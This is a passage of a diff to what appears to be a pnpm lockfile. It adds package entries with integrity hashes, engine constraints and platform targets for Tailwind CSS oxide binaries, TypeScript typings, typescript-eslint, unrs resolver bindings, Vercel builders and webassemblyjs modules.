+ resolution: {integrity: sha512-Fp+Wzk/Ws4dZn+LV2Nqx3IilnhH51YZoRaYHQsVq3RQvEl+71VGKFpkfHrLM/Li+kt5c0DJe/bHXK1eHgDmdiA==}
+ engines: {node: '>= 10'}
+ cpu: [arm]
+ os: [linux]
+
+ '@tailwindcss/oxide-linux-arm64-gnu@4.1.18':
+ resolution: {integrity: sha512-S0n3jboLysNbh55Vrt7pk9wgpyTTPD0fdQeh7wQfMqLPM/Hrxi+dVsLsPrycQjGKEQk85Kgbx+6+QnYNiHalnw==}
+ engines: {node: '>= 10'}
+ cpu: [arm64]
+ os: [linux]
+
+ '@tailwindcss/oxide-linux-arm64-musl@4.1.18':
+ resolution: {integrity: sha512-1px92582HkPQlaaCkdRcio71p8bc8i/ap5807tPRDK/uw953cauQBT8c5tVGkOwrHMfc2Yh6UuxaH4vtTjGvHg==}
+ engines: {node: '>= 10'}
+ cpu: [arm64]
+ os: [linux]
+
+ '@tailwindcss/oxide-linux-x64-gnu@4.1.18':
+ resolution: {integrity: sha512-v3gyT0ivkfBLoZGF9LyHmts0Isc8jHZyVcbzio6Wpzifg/+5ZJpDiRiUhDLkcr7f/r38SWNe7ucxmGW3j3Kb/g==}
+ engines: {node: '>= 10'}
+ cpu: [x64]
+ os: [linux]
+
+ '@tailwindcss/oxide-linux-x64-musl@4.1.18':
+ resolution: {integrity: sha512-bhJ2y2OQNlcRwwgOAGMY0xTFStt4/wyU6pvI6LSuZpRgKQwxTec0/3Scu91O8ir7qCR3AuepQKLU/kX99FouqQ==}
+ engines: {node: '>= 10'}
+ cpu: [x64]
+ os: [linux]
+
+ '@tailwindcss/oxide-wasm32-wasi@4.1.18':
+ resolution: {integrity: sha512-LffYTvPjODiP6PT16oNeUQJzNVyJl1cjIebq/rWWBF+3eDst5JGEFSc5cWxyRCJ0Mxl+KyIkqRxk1XPEs9x8TA==}
+ engines: {node: '>=14.0.0'}
+ cpu: [wasm32]
+ bundledDependencies:
+ - '@napi-rs/wasm-runtime'
+ - '@emnapi/core'
+ - '@emnapi/runtime'
+ - '@tybys/wasm-util'
+ - '@emnapi/wasi-threads'
+ - tslib
+
+ '@tailwindcss/oxide-win32-arm64-msvc@4.1.18':
+ resolution: {integrity: sha512-HjSA7mr9HmC8fu6bdsZvZ+dhjyGCLdotjVOgLA2vEqxEBZaQo9YTX4kwgEvPCpRh8o4uWc4J/wEoFzhEmjvPbA==}
+ engines: {node: '>= 10'}
+ cpu: [arm64]
+ os: [win32]
+
+ '@tailwindcss/oxide-win32-x64-msvc@4.1.18':
+ resolution: {integrity: sha512-bJWbyYpUlqamC8dpR7pfjA0I7vdF6t5VpUGMWRkXVE3AXgIZjYUYAK7II1GNaxR8J1SSrSrppRar8G++JekE3Q==}
+ engines: {node: '>= 10'}
+ cpu: [x64]
+ os: [win32]
+
+ '@tailwindcss/oxide@4.1.18':
+ resolution: {integrity: sha512-EgCR5tTS5bUSKQgzeMClT6iCY3ToqE1y+ZB0AKldj809QXk1Y+3jB0upOYZrn9aGIzPtUsP7sX4QQ4XtjBB95A==}
+ engines: {node: '>= 10'}
+
+ '@tailwindcss/postcss@4.1.18':
+ resolution: {integrity: sha512-Ce0GFnzAOuPyfV5SxjXGn0CubwGcuDB0zcdaPuCSzAa/2vII24JTkH+I6jcbXLb1ctjZMZZI6OjDaLPJQL1S0g==}
+
+ '@tailwindcss/typography@0.5.19':
+ resolution: {integrity: sha512-w31dd8HOx3k9vPtcQh5QHP9GwKcgbMp87j58qi6xgiBnFFtKEAgCWnDw4qUT8aHwkCp8bKvb/KGKWWHedP0AAg==}
+ peerDependencies:
+ tailwindcss: '>=3.0.0 || insiders || >=4.0.0-alpha.20 || >=4.0.0-beta.1'
+
+ '@tediousjs/connection-string@0.5.0':
+ resolution: {integrity: sha512-7qSgZbincDDDFyRweCIEvZULFAw5iz/DeunhvuxpL31nfntX3P4Yd4HkHBRg9H8CdqY1e5WFN1PZIz/REL9MVQ==}
+
+ '@tootallnate/once@2.0.0':
+ resolution: {integrity: sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==}
+ engines: {node: '>= 10'}
+
+ '@ts-morph/common@0.11.1':
+ resolution: {integrity: sha512-7hWZS0NRpEsNV8vWJzg7FEz6V8MaLNeJOmwmghqUXTpzk16V1LLZhdo+4QvE/+zv4cVci0OviuJFnqhEfoV3+g==}
+
+ '@tsconfig/node10@1.0.12':
+ resolution: {integrity: sha512-UCYBaeFvM11aU2y3YPZ//O5Rhj+xKyzy7mvcIoAjASbigy8mHMryP5cK7dgjlz2hWxh1g5pLw084E0a/wlUSFQ==}
+
+ '@tsconfig/node12@1.0.11':
+ resolution: {integrity: sha512-cqefuRsh12pWyGsIoBKJA9luFu3mRxCA+ORZvA4ktLSzIuCUtWVxGIuXigEwO5/ywWFMZ2QEGKWvkZG1zDMTag==}
+
+ '@tsconfig/node14@1.0.3':
+ resolution: {integrity: sha512-ysT8mhdixWK6Hw3i1V2AeRqZ5WfXg1G43mqoYlM2nc6388Fq5jcXyr5mRsqViLx/GJYdoL0bfXD8nmF+Zn/Iow==}
+
+ '@tsconfig/node16@1.0.4':
+ resolution: {integrity: sha512-vxhUy4J8lyeyinH7Azl1pdd43GJhZH/tP2weN8TntQblOY+A0XbT8DJk1/oCPuOOyg/Ja757rG0CgHcWC8OfMA==}
+
+ '@tybys/wasm-util@0.10.1':
+ resolution: {integrity: sha512-9tTaPJLSiejZKx+Bmog4uSubteqTvFrVrURwkmHixBo0G4seD0zUxp98E1DzUBJxLQ3NPwXrGKDiVjwx/DpPsg==}
+
+ '@types/bcrypt@6.0.0':
+ resolution: {integrity: sha512-/oJGukuH3D2+D+3H4JWLaAsJ/ji86dhRidzZ/Od7H/i8g+aCmvkeCc6Ni/f9uxGLSQVCRZkX2/lqEFG2BvWtlQ==}
+
+ '@types/eslint-scope@3.7.7':
+ resolution: {integrity: sha512-MzMFlSLBqNF2gcHWO0G1vP/YQyfvrxZ0bF+u7mzUdZ1/xK4A4sru+nraZz5i3iEIk1l1uyicaDVTB4QbbEkAYg==}
+
+ '@types/eslint@9.6.1':
+ resolution: {integrity: sha512-FXx2pKgId/WyYo2jXw63kk7/+TY7u7AziEJxJAnSFzHlqTAS3Ync6SvgYAN/k4/PQpnnVuzoMuVnByKK2qp0ag==}
+
+ '@types/estree@1.0.8':
+ resolution: {integrity: sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==}
+
+ '@types/json-schema@7.0.15':
+ resolution: {integrity: sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==}
+
+ '@types/json5@0.0.29':
+ resolution: {integrity: sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ==}
+
+ '@types/mssql@9.1.9':
+ resolution: {integrity: sha512-P0nCgw6vzY23UxZMnbI4N7fnLGANt4LI4yvxze1paPj+LuN28cFv5EI+QidP8udnId/BKhkcRhm/BleNsjK65A==}
+
+ '@types/node@20.11.0':
+ resolution: {integrity: sha512-o9bjXmDNcF7GbM4CNQpmi+TutCgap/K3w1JyKgxAjqx41zp9qlIAVFi0IhCNsJcXolEqLWhbFbEeL0PvYm4pcQ==}
+
+ '@types/node@20.19.27':
+ resolution: {integrity: sha512-N2clP5pJhB2YnZJ3PIHFk5RkygRX5WO/5f0WC08tp0wd+sv0rsJk3MqWn3CbNmT2J505a5336jaQj4ph1AdMug==}
+
+ '@types/node@25.2.0':
+ resolution: {integrity: sha512-DZ8VwRFUNzuqJ5khrvwMXHmvPe+zGayJhr2CDNiKB1WBE1ST8Djl00D0IC4vvNmHMdj6DlbYRIaFE7WHjlDl5w==}
+
+ '@types/react-dom@19.2.3':
+ resolution: {integrity: sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ==}
+ peerDependencies:
+ '@types/react': ^19.2.0
+
+ '@types/react@19.2.7':
+ resolution: {integrity: sha512-MWtvHrGZLFttgeEj28VXHxpmwYbor/ATPYbBfSFZEIRK0ecCFLl2Qo55z52Hss+UV9CRN7trSeq1zbgx7YDWWg==}
+
+ '@types/readable-stream@4.0.23':
+ resolution: {integrity: sha512-wwXrtQvbMHxCbBgjHaMGEmImFTQxxpfMOR/ZoQnXxB1woqkUbdLGFDgauo00Py9IudiaqSeiBiulSV9i6XIPig==}
+
+ '@typescript-eslint/eslint-plugin@8.52.0':
+ resolution: {integrity: sha512-okqtOgqu2qmZJ5iN4TWlgfF171dZmx2FzdOv2K/ixL2LZWDStL8+JgQerI2sa8eAEfoydG9+0V96m7V+P8yE1Q==}
+ engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0}
+ peerDependencies:
+ '@typescript-eslint/parser': ^8.52.0
+ eslint: ^8.57.0 || ^9.0.0
+ typescript: '>=4.8.4 <6.0.0'
+
+ '@typescript-eslint/parser@8.52.0':
+ resolution: {integrity: sha512-iIACsx8pxRnguSYhHiMn2PvhvfpopO9FXHyn1mG5txZIsAaB6F0KwbFnUQN3KCiG3Jcuad/Cao2FAs1Wp7vAyg==}
+ engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0}
+ peerDependencies:
+ eslint: ^8.57.0 || ^9.0.0
+ typescript: '>=4.8.4 <6.0.0'
+
+ '@typescript-eslint/project-service@8.52.0':
+ resolution: {integrity: sha512-xD0MfdSdEmeFa3OmVqonHi+Cciab96ls1UhIF/qX/O/gPu5KXD0bY9lu33jj04fjzrXHcuvjBcBC+D3SNSadaw==}
+ engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0}
+ peerDependencies:
+ typescript: '>=4.8.4 <6.0.0'
+
+ '@typescript-eslint/scope-manager@8.52.0':
+ resolution: {integrity: sha512-ixxqmmCcc1Nf8S0mS0TkJ/3LKcC8mruYJPOU6Ia2F/zUUR4pApW7LzrpU3JmtePbRUTes9bEqRc1Gg4iyRnDzA==}
+ engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0}
+
+ '@typescript-eslint/tsconfig-utils@8.52.0':
+ resolution: {integrity: sha512-jl+8fzr/SdzdxWJznq5nvoI7qn2tNYV/ZBAEcaFMVXf+K6jmXvAFrgo/+5rxgnL152f//pDEAYAhhBAZGrVfwg==}
+ engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0}
+ peerDependencies:
+ typescript: '>=4.8.4 <6.0.0'
+
+ '@typescript-eslint/type-utils@8.52.0':
+ resolution: {integrity: sha512-JD3wKBRWglYRQkAtsyGz1AewDu3mTc7NtRjR/ceTyGoPqmdS5oCdx/oZMWD5Zuqmo6/MpsYs0wp6axNt88/2EQ==}
+ engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0}
+ peerDependencies:
+ eslint: ^8.57.0 || ^9.0.0
+ typescript: '>=4.8.4 <6.0.0'
+
+ '@typescript-eslint/types@8.52.0':
+ resolution: {integrity: sha512-LWQV1V4q9V4cT4H5JCIx3481iIFxH1UkVk+ZkGGAV1ZGcjGI9IoFOfg3O6ywz8QqCDEp7Inlg6kovMofsNRaGg==}
+ engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0}
+
+ '@typescript-eslint/typescript-estree@8.52.0':
+ resolution: {integrity: sha512-XP3LClsCc0FsTK5/frGjolyADTh3QmsLp6nKd476xNI9CsSsLnmn4f0jrzNoAulmxlmNIpeXuHYeEQv61Q6qeQ==}
+ engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0}
+ peerDependencies:
+ typescript: '>=4.8.4 <6.0.0'
+
+ '@typescript-eslint/utils@8.52.0':
+ resolution: {integrity: sha512-wYndVMWkweqHpEpwPhwqE2lnD2DxC6WVLupU/DOt/0/v+/+iQbbzO3jOHjmBMnhu0DgLULvOaU4h4pwHYi2oRQ==}
+ engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0}
+ peerDependencies:
+ eslint: ^8.57.0 || ^9.0.0
+ typescript: '>=4.8.4 <6.0.0'
+
+ '@typescript-eslint/visitor-keys@8.52.0':
+ resolution: {integrity: sha512-ink3/Zofus34nmBsPjow63FP5M7IGff0RKAgqR6+CFpdk22M7aLwC9gOcLGYqr7MczLPzZVERW9hRog3O4n1sQ==}
+ engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0}
+
+ '@typespec/ts-http-runtime@0.3.2':
+ resolution: {integrity: sha512-IlqQ/Gv22xUC1r/WQm4StLkYQmaaTsXAhUVsNE0+xiyf0yRFiH5++q78U3bw6bLKDCTmh0uqKB9eG9+Bt75Dkg==}
+ engines: {node: '>=20.0.0'}
+
+ '@unrs/resolver-binding-android-arm-eabi@1.11.1':
+ resolution: {integrity: sha512-ppLRUgHVaGRWUx0R0Ut06Mjo9gBaBkg3v/8AxusGLhsIotbBLuRk51rAzqLC8gq6NyyAojEXglNjzf6R948DNw==}
+ cpu: [arm]
+ os: [android]
+
+ '@unrs/resolver-binding-android-arm64@1.11.1':
+ resolution: {integrity: sha512-lCxkVtb4wp1v+EoN+HjIG9cIIzPkX5OtM03pQYkG+U5O/wL53LC4QbIeazgiKqluGeVEeBlZahHalCaBvU1a2g==}
+ cpu: [arm64]
+ os: [android]
+
+ '@unrs/resolver-binding-darwin-arm64@1.11.1':
+ resolution: {integrity: sha512-gPVA1UjRu1Y/IsB/dQEsp2V1pm44Of6+LWvbLc9SDk1c2KhhDRDBUkQCYVWe6f26uJb3fOK8saWMgtX8IrMk3g==}
+ cpu: [arm64]
+ os: [darwin]
+
+ '@unrs/resolver-binding-darwin-x64@1.11.1':
+ resolution: {integrity: sha512-cFzP7rWKd3lZaCsDze07QX1SC24lO8mPty9vdP+YVa3MGdVgPmFc59317b2ioXtgCMKGiCLxJ4HQs62oz6GfRQ==}
+ cpu: [x64]
+ os: [darwin]
+
+ '@unrs/resolver-binding-freebsd-x64@1.11.1':
+ resolution: {integrity: sha512-fqtGgak3zX4DCB6PFpsH5+Kmt/8CIi4Bry4rb1ho6Av2QHTREM+47y282Uqiu3ZRF5IQioJQ5qWRV6jduA+iGw==}
+ cpu: [x64]
+ os: [freebsd]
+
+ '@unrs/resolver-binding-linux-arm-gnueabihf@1.11.1':
+ resolution: {integrity: sha512-u92mvlcYtp9MRKmP+ZvMmtPN34+/3lMHlyMj7wXJDeXxuM0Vgzz0+PPJNsro1m3IZPYChIkn944wW8TYgGKFHw==}
+ cpu: [arm]
+ os: [linux]
+
+ '@unrs/resolver-binding-linux-arm-musleabihf@1.11.1':
+ resolution: {integrity: sha512-cINaoY2z7LVCrfHkIcmvj7osTOtm6VVT16b5oQdS4beibX2SYBwgYLmqhBjA1t51CarSaBuX5YNsWLjsqfW5Cw==}
+ cpu: [arm]
+ os: [linux]
+
+ '@unrs/resolver-binding-linux-arm64-gnu@1.11.1':
+ resolution: {integrity: sha512-34gw7PjDGB9JgePJEmhEqBhWvCiiWCuXsL9hYphDF7crW7UgI05gyBAi6MF58uGcMOiOqSJ2ybEeCvHcq0BCmQ==}
+ cpu: [arm64]
+ os: [linux]
+
+ '@unrs/resolver-binding-linux-arm64-musl@1.11.1':
+ resolution: {integrity: sha512-RyMIx6Uf53hhOtJDIamSbTskA99sPHS96wxVE/bJtePJJtpdKGXO1wY90oRdXuYOGOTuqjT8ACccMc4K6QmT3w==}
+ cpu: [arm64]
+ os: [linux]
+
+ '@unrs/resolver-binding-linux-ppc64-gnu@1.11.1':
+ resolution: {integrity: sha512-D8Vae74A4/a+mZH0FbOkFJL9DSK2R6TFPC9M+jCWYia/q2einCubX10pecpDiTmkJVUH+y8K3BZClycD8nCShA==}
+ cpu: [ppc64]
+ os: [linux]
+
+ '@unrs/resolver-binding-linux-riscv64-gnu@1.11.1':
+ resolution: {integrity: sha512-frxL4OrzOWVVsOc96+V3aqTIQl1O2TjgExV4EKgRY09AJ9leZpEg8Ak9phadbuX0BA4k8U5qtvMSQQGGmaJqcQ==}
+ cpu: [riscv64]
+ os: [linux]
+
+ '@unrs/resolver-binding-linux-riscv64-musl@1.11.1':
+ resolution: {integrity: sha512-mJ5vuDaIZ+l/acv01sHoXfpnyrNKOk/3aDoEdLO/Xtn9HuZlDD6jKxHlkN8ZhWyLJsRBxfv9GYM2utQ1SChKew==}
+ cpu: [riscv64]
+ os: [linux]
+
+ '@unrs/resolver-binding-linux-s390x-gnu@1.11.1':
+ resolution: {integrity: sha512-kELo8ebBVtb9sA7rMe1Cph4QHreByhaZ2QEADd9NzIQsYNQpt9UkM9iqr2lhGr5afh885d/cB5QeTXSbZHTYPg==}
+ cpu: [s390x]
+ os: [linux]
+
+ '@unrs/resolver-binding-linux-x64-gnu@1.11.1':
+ resolution: {integrity: sha512-C3ZAHugKgovV5YvAMsxhq0gtXuwESUKc5MhEtjBpLoHPLYM+iuwSj3lflFwK3DPm68660rZ7G8BMcwSro7hD5w==}
+ cpu: [x64]
+ os: [linux]
+
+ '@unrs/resolver-binding-linux-x64-musl@1.11.1':
+ resolution: {integrity: sha512-rV0YSoyhK2nZ4vEswT/QwqzqQXw5I6CjoaYMOX0TqBlWhojUf8P94mvI7nuJTeaCkkds3QE4+zS8Ko+GdXuZtA==}
+ cpu: [x64]
+ os: [linux]
+
+ '@unrs/resolver-binding-wasm32-wasi@1.11.1':
+ resolution: {integrity: sha512-5u4RkfxJm+Ng7IWgkzi3qrFOvLvQYnPBmjmZQ8+szTK/b31fQCnleNl1GgEt7nIsZRIf5PLhPwT0WM+q45x/UQ==}
+ engines: {node: '>=14.0.0'}
+ cpu: [wasm32]
+
+ '@unrs/resolver-binding-win32-arm64-msvc@1.11.1':
+ resolution: {integrity: sha512-nRcz5Il4ln0kMhfL8S3hLkxI85BXs3o8EYoattsJNdsX4YUU89iOkVn7g0VHSRxFuVMdM4Q1jEpIId1Ihim/Uw==}
+ cpu: [arm64]
+ os: [win32]
+
+ '@unrs/resolver-binding-win32-ia32-msvc@1.11.1':
+ resolution: {integrity: sha512-DCEI6t5i1NmAZp6pFonpD5m7i6aFrpofcp4LA2i8IIq60Jyo28hamKBxNrZcyOwVOZkgsRp9O2sXWBWP8MnvIQ==}
+ cpu: [ia32]
+ os: [win32]
+
+ '@unrs/resolver-binding-win32-x64-msvc@1.11.1':
+ resolution: {integrity: sha512-lrW200hZdbfRtztbygyaq/6jP6AKE8qQN2KvPcJ+x7wiD038YtnYtZ82IMNJ69GJibV7bwL3y9FgK+5w/pYt6g==}
+ cpu: [x64]
+ os: [win32]
+
+ '@vercel/backends@0.0.25':
+ resolution: {integrity: sha512-O6QyKA08sXYJ1eDtF7m9ZPCEs8Dls4i6HJyVgrTVHHZn5Z3zZPyTccxk7Xpbg9spOAZycixfBSU/vORcPgkk9w==}
+ peerDependencies:
+ typescript: ^4.0.0 || ^5.0.0
+
+ '@vercel/blob@1.0.2':
+ resolution: {integrity: sha512-Im/KeFH4oPx7UsM+QiteimnE07bIUD7JK6CBafI9Z0jRFogaialTBMiZj8EKk/30ctUYsrpIIyP9iIY1YxWnUQ==}
+ engines: {node: '>=16.14'}
+
+ '@vercel/build-utils@13.2.16':
+ resolution: {integrity: sha512-5i6q9xXhDaZ75bQ/VMMCyeXtRY1HTJXj47ch3BEN42BgNdvFoDSL0eQVMzi80yRjyTvJ1bzGpn1A1K5aswLZVQ==}
+
+ '@vercel/cervel@0.0.12':
+ resolution: {integrity: sha512-wsAmeCaWO3NceWC864AjvjOUTBYqdQD8Rh8Hn+oLXZ8JfBWLFB7V7Qt4XsKG3Q9aKuqYeQIiG88kKO8rV/4HFg==}
+ hasBin: true
+ peerDependencies:
+ typescript: ^4.0.0 || ^5.0.0
+
+ '@vercel/detect-agent@1.1.0':
+ resolution: {integrity: sha512-Zfq6FbIcYl9gaAmVu6ROsqUiCNwpEj3Ljz/tMX5fl12Z95OFOxzf7vlO03WE5JBU/ri1tBDFHnW41dihMINOPQ==}
+ engines: {node: '>=14'}
+
+ '@vercel/elysia@0.1.27':
+ resolution: {integrity: sha512-vMXA3WRTTyHjuueDLymZQ2btb0zN8LZlwCtG4oEFCePcP6zdPFht8BLXNfVetEGz26TYZSoLKdZxVo4CgV9MLg==}
+
+ '@vercel/error-utils@2.0.3':
+ resolution: {integrity: sha512-CqC01WZxbLUxoiVdh9B/poPbNpY9U+tO1N9oWHwTl5YAZxcqXmmWJ8KNMFItJCUUWdY3J3xv8LvAuQv2KZ5YdQ==}
+
+ '@vercel/express@0.1.36':
+ resolution: {integrity: sha512-SGZXJGlMoh1BY5NQ4XOsPXiTyVvpompMmzG4R1e2mEodg6C0pn+iC9dxTa6InTYcBwL7Uxs3LecOIPkT4j/LcQ==}
+
+ '@vercel/fastify@0.1.30':
+ resolution: {integrity: sha512-34Pz8TYJtsaIo6TYb91lFBfPJtQASJVq8Xa8S63UgWyscJuy1kO4keWiPizfWs6rXLmozSbeXW9e+6z7PvOGWw==}
+
+ '@vercel/fun@1.2.1':
+ resolution: {integrity: sha512-p0IuyxKAnaV9P7xApKBDYXdPheErVyoi68tt2l8i2g20n26FgZ7IQoDsFfmTg/ClllxhdOnaArNAFu2XBmfCxw==}
+ engines: {node: '>= 18'}
+
+ '@vercel/gatsby-plugin-vercel-analytics@1.0.11':
+ resolution: {integrity: sha512-iTEA0vY6RBPuEzkwUTVzSHDATo1aF6bdLLspI68mQ/BTbi5UQEGjpjyzdKOVcSYApDtFU6M6vypZ1t4vIEnHvw==}
+
+ '@vercel/gatsby-plugin-vercel-builder@2.0.127':
+ resolution: {integrity: sha512-Y4zoxkAc6vn+MkdG78Wbm5B7zXHbAKZitfVpia6oCbfhu4hDIUmqMmQJeGLZmTSB00V0eOEIBWd39/AvrTDI2Q==}
+
+ '@vercel/go@3.3.4':
+ resolution: {integrity: sha512-PAa7XYZk+ZuE3pWuPJU32fdDl3YH9+f9iYkd/yFhhRgHsd0PqCB5HQ+EHUKsso+BHlYo145GV6cPLh+HE+UI1A==}
+
+ '@vercel/h3@0.1.36':
+ resolution: {integrity: sha512-Uh/LtmWDgq6tpqB9pmpqgjntdFmGrmzSQggPzs/x6zKlzDMWxvItnB1D+1SD/vKTcImmFwOlCOOcNgFr/ZynCA==}
+
+ '@vercel/hono@0.2.30':
+ resolution: {integrity: sha512-w7Ctqw8P/MP0trBnAxiK7vm6Zm0L8JLlYdTXhaCjaMH8Q7+/bFsYXApyccJ//cMIJ9oRTSDmxy37ibUh9kzMzA==}
+
+ '@vercel/hydrogen@1.3.5':
+ resolution: {integrity: sha512-7EE6yVKcCnjMb1io9y069GkLyGyIzRbW3Krm3Q7EEfJ3P46h9xe9v/O5UhBoPrwtqDUHxmDngZp9YyfgY8IITA==}
+
+ '@vercel/koa@0.1.10':
+ resolution: {integrity: sha512-3vvz3o9kc9wzIh4wHuHkfAFFdZN0Ga+NwNeN3iKSxwt6RhjjyxfFY1d8LONUXNjh7m+Val0AM9g/Ij5o7Xaizg==}
+
+ '@vercel/nestjs@0.2.31':
+ resolution: {integrity: sha512-OGcUy8rrGKnrQO/izSfwEG01wcJBQCv2IXR1jTlPjAd6ijEfss9qBPGC/Rmp6yaYeg8IFZl9J0479gyZ+l3qUA==}
+
+ '@vercel/next@4.15.21':
+ resolution: {integrity: sha512-6vZfviQ0dwW7X7CwHOzfm8n/nqWbKwzenbOyt4Q741gqSYjWGezCJGUQWTavy602sRZ1shmhyOTb8LrkrZwcnA==}
+
+ '@vercel/nft@1.1.1':
+ resolution: {integrity: sha512-mKMGa7CEUcXU75474kOeqHbtvK1kAcu4wiahhmlUenB5JbTQB8wVlDI8CyHR3rpGo0qlzoRWqcDzI41FUoBJCA==}
+ engines: {node: '>=20'}
+ hasBin: true
+
+ '@vercel/nft@1.3.0':
+ resolution: {integrity: sha512-i4EYGkCsIjzu4vorDUbqglZc5eFtQI2syHb++9ZUDm6TU4edVywGpVnYDein35x9sevONOn9/UabfQXuNXtuzQ==}
+ engines: {node: '>=20'}
+ hasBin: true
+
+ '@vercel/node@5.5.28':
+ resolution: {integrity: sha512-zuhUKqFdeoTz+o6S5zyKKXERrxbJpFmbt5qMrsg7t2pfxJZSAR6xg+HRSJd710uJnKpmi4h89hp/TIu1CuvAUQ==}
+
+ '@vercel/python@6.5.0':
+ resolution: {integrity: sha512-exIObhFwB98a/TwxNZgUwuvXwndnK+0uVvVNcdr9yW3LXpPAjTniQy59OYKunQx60T6luT4Thq4Vi0XBq/lx9g==}
+
+ '@vercel/redwood@2.4.9':
+ resolution: {integrity: sha512-U7bYIuWfMEFMIcKKbX7lTT8pFNjig9Q3vLeCYRYQUrKVP8xLoUBXSEfW3ijtWJBUV8GmbZCDI30A16uUfNhN+g==}
+
+ '@vercel/remix-builder@5.5.10':
+ resolution: {integrity: sha512-E4fqjBaztj/5JG8HCbvqO/JZyP3b+hpse+aAMb9twvgyIRfkkl+146liFF2I8/M/cc1PWkSfaqa8LF0+5x4egA==}
+
+ '@vercel/ruby@2.2.5':
+ resolution: {integrity: sha512-DeSHZDEU1BvxzomHeBDsFyZ9VL2U/rUC15Ce4Asaw6LadYPyQ9HEvREJC7Vz4f2iHHD0iamJG9znaC3/UgvQDg==}
+
+ '@vercel/rust@1.0.5':
+ resolution: {integrity: sha512-Y03g59nv1uT6Da+PvB/50WqJSHlaFZ9MSkG00R82dUcTySslMbQdOeaXymZtabrmU8zQYhWDb1/CwBki8sWnaQ==}
+
+ '@vercel/static-build@2.8.28':
+ resolution: {integrity: sha512-NAyZZ8AXGHdcKelbA8zYoZ76abgv1Uf3axuwgHtvnfHmkJtao3KAJWm4NhLLy05jo4I1iFmIjEslU3k0CFECew==}
+
+ '@vercel/static-config@3.1.2':
+ resolution: {integrity: sha512-2d+TXr6K30w86a+WbMbGm2W91O0UzO5VeemZYBBUJbCjk/5FLLGIi8aV6RS2+WmaRvtcqNTn2pUA7nCOK3bGcQ==}
+
+ '@vladfrangu/async_event_emitter@2.4.7':
+ resolution: {integrity: sha512-Xfe6rpCTxSxfbswi/W/Pz7zp1WWSNn4A0eW4mLkQUewCrXXtMj31lCg+iQyTkh/CkusZSq9eDflu7tjEDXUY6g==}
+ engines: {node: '>=v14.0.0', npm: '>=7.0.0'}
+
+ '@webassemblyjs/ast@1.14.1':
+ resolution: {integrity: sha512-nuBEDgQfm1ccRp/8bCQrx1frohyufl4JlbMMZ4P1wpeOfDhF6FQkxZJ1b/e+PLwr6X1Nhw6OLme5usuBWYBvuQ==}
+
+ '@webassemblyjs/floating-point-hex-parser@1.13.2':
+ resolution: {integrity: sha512-6oXyTOzbKxGH4steLbLNOu71Oj+C8Lg34n6CqRvqfS2O71BxY6ByfMDRhBytzknj9yGUPVJ1qIKhRlAwO1AovA==}
+
+ '@webassemblyjs/helper-api-error@1.13.2':
+ resolution: {integrity: sha512-U56GMYxy4ZQCbDZd6JuvvNV/WFildOjsaWD3Tzzvmw/mas3cXzRJPMjP83JqEsgSbyrmaGjBfDtV7KDXV9UzFQ==}
+
+ '@webassemblyjs/helper-buffer@1.14.1':
+ resolution: {integrity: sha512-jyH7wtcHiKssDtFPRB+iQdxlDf96m0E39yb0k5uJVhFGleZFoNw1c4aeIcVUPPbXUVJ94wwnMOAqUHyzoEPVMA==}
+
+ '@webassemblyjs/helper-numbers@1.13.2':
+ resolution: {integrity: sha512-FE8aCmS5Q6eQYcV3gI35O4J789wlQA+7JrqTTpJqn5emA4U2hvwJmvFRC0HODS+3Ye6WioDklgd6scJ3+PLnEA==}
+
+ '@webassemblyjs/helper-wasm-bytecode@1.13.2':
+ resolution: {integrity: sha512-3QbLKy93F0EAIXLh0ogEVR6rOubA9AoZ+WRYhNbFyuB70j3dRdwH9g+qXhLAO0kiYGlg3TxDV+I4rQTr/YNXkA==}
+
+ '@webassemblyjs/helper-wasm-section@1.14.1':
+ resolution: {integrity: sha512-ds5mXEqTJ6oxRoqjhWDU83OgzAYjwsCV8Lo/N+oRsNDmx/ZDpqalmrtgOMkHwxsG0iI//3BwWAErYRHtgn0dZw==}
+
+ '@webassemblyjs/ieee754@1.13.2':
+ resolution: {integrity: sha512-4LtOzh58S/5lX4ITKxnAK2USuNEvpdVV9AlgGQb8rJDHaLeHciwG4zlGr0j/SNWlr7x3vO1lDEsuePvtcDNCkw==}
+
+ '@webassemblyjs/leb128@1.13.2':
+ resolution: {integrity: sha512-Lde1oNoIdzVzdkNEAWZ1dZ5orIbff80YPdHx20mrHwHrVNNTjNr8E3xz9BdpcGqRQbAEa+fkrCb+fRFTl/6sQw==}
+
+ '@webassemblyjs/utf8@1.13.2':
+ resolution: {integrity: sha512-3NQWGjKTASY1xV5m7Hr0iPeXD9+RDobLll3T9d2AO+g3my8xy5peVyjSag4I50mR1bBSN/Ct12lo+R9tJk0NZQ==}
+
+ '@webassemblyjs/wasm-edit@1.14.1':
+ resolution: {integrity: sha512-RNJUIQH/J8iA/1NzlE4N7KtyZNHi3w7at7hDjvRNm5rcUXa00z1vRz3glZoULfJ5mpvYhLybmVcwcjGrC1pRrQ==}
+
+ '@webassemblyjs/wasm-gen@1.14.1':
+ resolution: {integrity: sha512-AmomSIjP8ZbfGQhumkNvgC33AY7qtMCXnN6bL2u2Js4gVCg8fp735aEiMSBbDR7UQIj90n4wKAFUSEd0QN2Ukg==}
+
+ '@webassemblyjs/wasm-opt@1.14.1':
